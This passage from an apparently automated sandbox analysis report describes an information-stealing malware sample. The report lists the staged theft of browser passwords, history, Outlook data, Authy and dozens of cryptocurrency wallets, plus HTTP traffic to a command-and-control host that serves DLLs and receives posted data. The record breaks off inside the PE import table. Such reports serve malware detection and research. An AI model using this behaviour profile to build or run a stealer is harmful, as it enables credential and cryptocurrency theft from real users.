    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Downloads\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Downloads",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Files\\Default.zip",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Files",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\History\\Google Chrome_Default.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\History",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\information.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\outlook.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\passwords.txt",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Soft\\Authy",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Soft",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Anoncoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\BBQCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Bitcoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DashCore",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DevCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\DigitalCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\ElectronCash",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Electrum",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\ElectrumLTC",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Ethereum",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Exodus",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FlorinCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Franko",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\FreiCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\GoldCoinGLD",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\InfiniteCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\IOCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\IxCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\JAXX",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Litecoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MegaCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MinCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\MultiDoge",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\NameCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\PrimeCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\TerraCoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\YACoin",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets\\Zcash",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\files\\Wallets",
    "C:\\ProgramData\\9G15PIEP1WHQ13R43GJBNH659\\US_00000000-0000-0000-0000-0000000000009743353171.zip",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_3224c92aac54798b7fe6cc2559025411.exe",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAEFF.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERAEFF.tmp.appcompat.txt",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB8E3.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB8E3.tmp.WERInternalMetadata.xml",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB942.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERB942.tmp.hdmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERC326.tmp",
    "C:\\Windows\\ServiceProfiles\\LocalService\\AppData\\Local\\Temp\\WERC326.tmp.mdmp",
    "C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\AppCrash_taskhost.exe_e0bfc78dc22baf57413d9e3a2494cb68424d695b_cab_0bad4b5f\\Report.wer.tmp"
]

[*] Modified Registry Keys: [
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\Winmgmt\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\WerSvc\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\W32Time\\TimeProviders\\NtpClient\\SpecialPollTimeRemaining",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Consent\\DefaultConsent",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\IDE\\DiskVBOX_HARDDISK___________________________1.0_____\\5&33d1638a&0&0.0.0_0-{00000000-0000-0000-0000-000000000000}",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\advapi32.dll[MofResourceName]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\en-US\\advapi32.dll.mui[MofResourceName]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ACPI.sys[ACPIMOFResource]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ACPI.sys.mui[ACPIMOFResource]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ndis.sys[MofResourceName]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ndis.sys.mui[MofResourceName]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\mssmbios.sys[MofResource]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\mssmbios.sys.mui[MofResource]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\HDAudBus.sys[HDAudioMofName]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\HDAudBus.sys.mui[HDAudioMofName]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\intelppm.sys[PROCESSORWMI]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\intelppm.sys.mui[PROCESSORWMI]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\portcls.SYS[PortclsMof]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\en-US\\portcls.SYS.mui[PortclsMof]",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sys[MonitorWMI]"
]

[*] Deleted Registry Keys: [
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sys[MonitorWMI]"
]

[*] DNS Communications: [
    {
        "type": "A",
        "request": "coinchangerapi.com",
        "answers": [
            {
                "data": "192.169.7.213",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "ip-api.com",
        "answers": [
            {
                "data": "72.11.140.50",
                "type": "A"
            },
            {
                "data": "66.212.29.250",
                "type": "A"
            }
        ]
    }
]

[*] Domains: [
    {
        "ip": "72.11.140.50",
        "domain": "ip-api.com"
    },
    {
        "ip": "192.169.7.213",
        "domain": "coinchangerapi.com"
    }
]

[*] Network Communication - ICMP: []

[*] Network Communication - HTTP: [
    {
        "count": 1,
        "body": "--1BEF0A57BE110FD467A--\r\n",
        "uri": "http://coinchangerapi.com/398",
        "user-agent": "",
        "method": "POST",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/398",
        "data": "POST /398 HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 25\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n--1BEF0A57BE110FD467A--\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/freebl3.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/freebl3.dll",
        "data": "GET /freebl3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/mozglue.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/mozglue.dll",
        "data": "GET /mozglue.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/msvcp140.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/msvcp140.dll",
        "data": "GET /msvcp140.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/nss3.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/nss3.dll",
        "data": "GET /nss3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/softokn3.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/softokn3.dll",
        "data": "GET /softokn3.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/vcruntime140.dll",
        "user-agent": "",
        "method": "GET",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/vcruntime140.dll",
        "data": "GET /vcruntime140.dll HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "--1BEF0A57BE110FD467A--\r\n",
        "uri": "http://ip-api.com/line/",
        "user-agent": "",
        "method": "POST",
        "host": "ip-api.com",
        "version": "1.1",
        "path": "/line/",
        "data": "POST /line/ HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 25\r\nHost: ip-api.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n--1BEF0A57BE110FD467A--\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://coinchangerapi.com/",
        "user-agent": "",
        "method": "POST",
        "host": "coinchangerapi.com",
        "version": "1.1",
        "path": "/",
        "data": "POST / HTTP/1.1\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\r\nContent-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A\r\nContent-Length: 5003\r\nHost: coinchangerapi.com\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n",
        "port": 80
    }
]

[*] Network Communication - SMTP: []

[*] Network Communication - Hosts: []

[*] Network Communication - IRC: []

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "Sleep",
                        "address": "0x475058"
                    },
                    {
                        "name": "GetCurrentProcessId",
                        "address": "0x47505c"
                    },
                    {
                        "name": "SetCurrentDirectoryA",
                        "address": "0x475060"
                    },
                    {
                        "name": "CreateDirectoryA",
                        "address": "0x475064"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x475068"
                    },
                    {
                        "name": "CreateMutexA",
                        "address": "0x47506c"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x475070"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x475074"
                    },
                    {
                        "name": "GetFileSize",
                        "address": "0x475078"
                    },
                    {
                        "name": "GetVersionExA",
                        "address": "0x47507c"
                    },
                    {
                        "name": "Process32Next",
                        "address": "0x475080"
                    },
                    {
                        "name": "Process32First",
                        "address": "0x475084"
                    },
                    {
                        "name": "CreateToolhelp32Snapshot",
                        "address": "0x475088"
                    },
                    {
                        "name": "TerminateProcess",
                        "address": "0x47508c"
                    },
                    {
                        "name": "OpenProcess",
                        "address": "0x475090"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x475094"
                    },
                    {
                        "name": "LoadLibraryA",
                        "address": "0x475098"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x47509c"
                    },
                    {
                        "name": "GetPrivateProfileSectionNamesA",
                        "address": "0x4750a0"
                    },
                    {
                        "name": "GetFileAttributesW",
                        "address": "0x4750a4"
                    },
                    {
                        "name": "InitializeCriticalSection",
                        "address": "0x4750a8"
                    },
                    {
                        "name": "InterlockedCompareExchange",
                        "address": "0x4750ac"
                    },
                    {
                        "name": "DeleteCriticalSection",
                        "address": "0x4750b0"
                    },
                    {
                        "name": "EnterCriticalSection",
                        "address": "0x4750b4"
                    },
                    {
                        "name": "LeaveCriticalSection",
                        "address": "0x4750b8"
                    },
                    {
                        "name": "AreFileApisANSI",
                        "address": "0x4750bc"
                    },
                    {
                        "name": "SetFilePointer",
                        "address": "0x4750c0"
                    },
                    {
                        "name": "SetEndOfFile",
                        "address": "0x4750c4"
                    },
                    {
                        "name": "FlushFileBuffers",
                        "address": "0x4750c8"
                    },
                    {
                        "name": "UnlockFile",
                        "address": "0x4750cc"
                    },
                    {
                        "name": "LockFile",
                        "address": "0x4750d0"
                    },
                    {
                        "name": "LockFileEx",
                        "address": "0x4750d4"
                    },
                    {
                        "name": "UnlockFileEx",
                        "address": "0x4750d8"
                    },
                    {
                        "name": "GetFileAttributesA",
                        "address": "0x4750dc"
                    },
                    {
                        "name": "GetFileAttributesExW",
                        "address": "0x4750e0"
                    },
                    {
                        "name": "LoadLibraryW",
                        "address": "0x4750e4"
                    },
                    {
                        "name": "QueryPerformanceCounter",
                        "address": "0x4750e8"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x4750ec"
                    },
                    {
                        "name": "GetSystemTime",
                        "address": "0x4750f0"
                    },
                    {
                        "name": "GetSystemTimeAsFileTime",
                        "address": "0x4750f4"
                    },
                    {
                        "name": "UnmapViewOfFile",
                        "address": "0x4750f8"
                    },
                    {
                        "name": "GetTempPathA",
                        "address": "0x4750fc"
                    },
                    {
                        "name": "GetTempPathW",
                        "address": "0x475100"
                    },
                    {
                        "name": "DeleteFileA",
                        "address": "0x475104"
                    },
                    {
                        "name": "FormatMessageW",
                        "address": "0x475108"
                    },
                    {
                        "name": "GetFullPathNameA",
                        "address": "0x47510c"
                    },
                    {
                        "name": "GetFullPathNameW",
                        "address": "0x475110"
                    },
                    {
                        "name": "GetDiskFreeSpaceA",
                        "address": "0x475114"
                    },
                    {
                        "name": "GetDiskFreeSpaceW",
                        "address": "0x475118"
                    },
                    {
                        "name": "CreateFileW",
                        "address": "0x47511c"
                    },
                    {
                        "name": "GetSystemInfo",
                        "address": "0x475120"
                    },
                    {
                        "name": "MapViewOfFile",
                        "address": "0x475124"
                    },
                    {
                        "name": "CreateFileMappingA",
                        "address": "0x475128"
                    },
                    {
                        "name": "GetComputerNameA",
                        "address": "0x47512c"
                    },
                    {
                        "name": "IsWow64Process",
                        "address": "0x475130"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x475134"
                    },
                    {
                        "name": "GlobalMemoryStatus",
                        "address": "0x475138"
                    },
                    {
                        "name": "GetModuleHandleA",
                        "address": "0x47513c"
                    },
                    {
                        "name": "GetUserDefaultLocaleName",
                        "address": "0x475140"
                    },
                    {
                        "name": "TzSpecificLocalTimeToSystemTime",
                        "address": "0x475144"
                    },
                    {
                        "name": "GetTimeZoneInformation",
                        "address": "0x475148"
                    },
                    {
                        "name": "GetLocaleInfoA",
                        "address": "0x47514c"
                    },
                    {
                        "name": "GetFileSizeEx",
                        "address": "0x475150"
                    },
                    {
                        "name": "FileTimeToSystemTime",
                        "address": "0x475154"
                    },
                    {
                        "name": "GetFileInformationByHandle",
                        "address": "0x475158"
                    },
                    {
                        "name": "SystemTimeToFileTime",
                        "address": "0x47515c"
                    },
                    {
                        "name": "GetLocalTime",
                        "address": "0x475160"
                    },
                    {
                        "name": "CompareStringW",
                        "address": "0x475164"
                    },
                    {
                        "name": "SetStdHandle",
                        "address": "0x475168"
                    },
                    {
                        "name": "IsValidLocale",
                        "address": "0x47516c"
                    },
                    {
                        "name": "EnumSystemLocalesA",
                        "address": "0x475170"
                    },
                    {
                        "name": "GetUserDefaultLCID",
                        "address": "0x475174"
                    },
                    {
                        "name": "GetLocaleInfoW",
                        "address": "0x475178"
                    },
                    {
                        "name": "GetStringTypeW",
                        "address": "0x47517c"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x475180"
                    },
                    {
                        "name": "GetEnvironmentStringsW",
                        "address": "0x475184"
                    },
                    {
                        "name": "GetLogicalDriveStringsA",
                        "address": "0x475188"
                    },
                    {
                        "name": "GetDriveTypeA",
                        "address": "0x47518c"
                    },
                    {
                        "name": "CreateDirectoryW",
                        "address": "0x475190"
                    },
                    {
                        "name": "CopyFileW",
                        "address": "0x475194"
                    },
                    {
                        "name": "lstrcpyW",
                        "address": "0x475198"
                    },
                    {
                        "name": "lstrcatW",
                        "address": "0x47519c"
                    },
                    {
                        "name": "lstrlenA",
                        "address": "0x4751a0"
                    },
                    {
                        "name": "FindFirstFileW",
                        "address": "0x4751a4"
                    },
                    {
                        "name": "lstrcmpW",
                        "address": "0x4751a8"
                    },
                    {
                        "name": "DeleteFileW",
                        "address": "0x4751ac"
                    },
                    {
                        "name": "FindNextFileW",
                        "address": "0x4751b0"
                    },
                    {
                        "name": "FindClose",
                        "address": "0x4751b4"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x4751b8"
                    },
                    {
                        "name": "CreateFileA",
                        "address": "0x4751bc"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x4751c0"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x4751c4"
                    },
                    {
                        "name": "HeapFree",
                        "address": "0x4751c8"
                    },
                    {
                        "name": "GetProcessHeap",
                        "address": "0x4751cc"
                    },
                    {
                        "name": "HeapAlloc",
                        "address": "0x4751d0"
                    },
                    {
                        "name": "WideCharToMultiByte",
                        "address": "0x4751d4"
                    },
                    {
                        "name": "FreeEnvironmentStringsW",
                        "address": "0x4751d8"
                    },
                    {
                        "name": "SetEnvironmentVariableA",
                        "address": "0x4751dc"
                    },
                    {
                        "name": "SetEnvironmentVariableW",
                        "address": "0x4751e0"
                    },
                    {
                        "name": "GetConsoleMode",
                        "address": "0x4751e4"
                    },
                    {
                        "name": "GetConsoleCP",
                        "address": "0x4751e8"
                    },
                    {
                        "name": "GetModuleFileNameW",
                        "address": "0x4751ec"
                    },
                    {
                        "name": "IsValidCodePage",
                        "address": "0x4751f0"
                    },
                    {
                        "name": "GetOEMCP",
                        "address": "0x4751f4"
                    },
                    {
                        "name": "LocalFree",
                        "address": "0x4751f8"
                    },
                    {
                        "name": "LocalAlloc",
                        "address": "0x4751fc"
                    },
                    {
                        "name": "FormatMessageA",
                        "address": "0x475200"
                    },
                    {
                        "name": "GetACP",
                        "address": "0x475204"
                    },
                    {
                        "name": "HeapCreate",
                        "address": "0x475208"
                    },
                    {
                        "name": "GetFileType",
                        "address": "0x47520c"
                    },
                    {
                        "name": "InitializeCriticalSectionAndSpinCount",
                        "address": "0x475210"
                    },
                    {
                        "name": "GetStdHandle",
                        "address": "0x475214"
                    },
                    {
                        "name": "SetHandleCount",
                        "address": "0x475218"
                    },
                    {
                        "name": "HeapSize",
                        "address": "0x47521c"
                    },
                    {
                        "name": "IsDebuggerPresent",
                        "address": "0x475220"
                    },
                    {
                        "name": "SetUnhandledExceptionFilter",
                        "address": "0x475224"
                    },
                    {
                        "name": "UnhandledExceptionFilter",
                        "address": "0x475228"
                    },
                    {
                        "name": "GetCurrentThreadId",
                        "address": "0x47522c"
                    },
                    {
                        "name": "SetLastError",
                        "address": "0x475230"
                    },
                    {
                        "name": "GetModuleHandleW",
                        "address": "0x475234"
                    },
                    {
                        "name": "TlsFree",
                        "address": "0x475238"
                    },
                    {
                        "name": "TlsSetValue",
                        "address": "0x47523c"
                    },
                    {
                        "name": "TlsGetValue",
                        "address": "0x475240"
                    },
                    {
                        "name": "TlsAlloc",
                        "address": "0x475244"
                    },
                    {
                        "name": "IsProcessorFeaturePresent",
                        "address": "0x475248"
                    },
                    {
                        "name": "GetCPInfo",
                        "address": "0x47524c"
                    },
                    {
                        "name": "LCMapStringW",
                        "address": "0x475250"
                    },
                    {
                        "name": "GetStartupInfoW",
                        "address": "0x475254"
                    },
                    {
                        "name": "HeapSetInformation",
                        "address": "0x475258"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x47525c"
                    },
                    {
                        "name": "HeapReAlloc",
                        "address": "0x475260"
                    },
                    {
                        "name": "RtlUnwind",
                        "address": "0x475264"
                    },
                    {
                        "name": "RaiseException",
                        "address": "0x475268"
                    },
                    {
                        "name": "DecodePointer",
                        "address": "0x47526c"
                    },
                    {
                        "name": "InterlockedIncrement",
                        "address": "0x475270"
                    },
                    {
                        "name": "InterlockedDecrement",
                        "address": "0x475274"
                    },
                    {
                        "name": "InterlockedExchange",
                        "address": "0x475278"
                    },
                    {
                        "name": "EncodePointer",
                        "address": "0x47527c"
                    },
                    {
                        "name": "WriteConsoleW",
                        "address": "0x475280"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "GetDesktopWindow",
                        "address": "0x4752ac"
                    },
                    {
                        "name": "GetSystemMetrics",
                        "address": "0x4752b0"
                    },
                    {
                        "name": "GetDC",
                        "address": "0x4752b4"
                    },
                    {
                        "name": "CharToOemA",
                        "address": "0x4752b8"
                    },
                    {
                        "name": "EnumDisplayDevicesW",
                        "address": "0x4752bc"
                    },
                    {
                        "name": "MessageBoxA",
                        "address": "0x4752c0"
                    },
                    {
                        "name": "GetKeyboardLayoutList",
                        "address": "0x4752c4"
                    },
                    {
                        "name": "wsprintfA",
                        "address": "0x4752c8"
                    },
                    {
                        "name": "ReleaseDC",
                        "address": "0x4752cc"
                    }
                ],
                "dll": "USER32.dll"
            },
            {
                "imports": [
                    {
                        "name": "CreateCompatibleBitmap",
                        "address": "0x475038"
                    },
                    {
                        "name": "SelectObject",
                        "address": "0x47503c"
                    },
                    {
                        "name": "BitBlt",
                        "address": "0x475040"
                    },
                    {
                        "name": "DeleteObject",
                        "address": "0x475044"
                    },
                    {
                        "name": "CreateDCA",
                        "address": "0x475048"
                    },
                    {
                        "name": "GetDeviceCaps",
                        "address": "0x47504c"
                    },
                    {
                        "name": "CreateCompatibleDC",
                        "address": "0x475050"
                    }
                ],
                "dll": "GDI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "RegGetValueW",
                        "address": "0x475000"
                    },
                    {
                        "name": "RegOpenKeyExA",
                        "address": "0x475004"
                    },
                    {
                        "name": "RegQueryValueExA",
                        "address": "0x475008"
                    },
                    {
                        "name": "GetUserNameA",
                        "address": "0x47500c"
                    },
                    {
                        "name": "GetCurrentHwProfileA",
                        "address": "0x475010"
                    },
                    {
                        "name": "RegOpenKeyExW",
                        "address": "0x475014"
                    },
                    {
                        "name": "RegEnumValueA",
                        "address": "0x475018"
                    },
                    {
                        "name": "RegCloseKey",
                        "address": "0x47501c"
                    },
                    {
                        "name": "RegGetValueA",
                        "address": "0x475020"
                    },
                    {
                        "name": "RegEnumKeyExA",
                        "address": "0x475024"
                    }
                ],
                "dll": "ADVAPI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "ShellExecuteA",
                        "address": "0x475298"
                    },
                    {
                        "name": "SHGetFolderPathA",
                        "address": "0x47529c"
                    }
                ],
                "dll": "SHELL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "CoCreateInstance",
                        "address": "0x475330"
                    },
                    {
                        "name": "CoUninitialize",
                        "address": "0x475334"
                    }
                ],
                "dll": "ole32.dll"
            },
            {
                "imports": [
                    {
                        "name": "PathMatchSpecW",
                        "address": "0x4752a4"
                    }
                ],
                "dll": "SHLWAPI.dll"
            },
            {
                "imports": [
                    {
                        "name": "CryptStringToBinaryA",
                        "address": "0x47502c"
                    },
                    {
                        "name": "CryptUnprotectData",
                        "address": "0x475030"
                    }
                ],
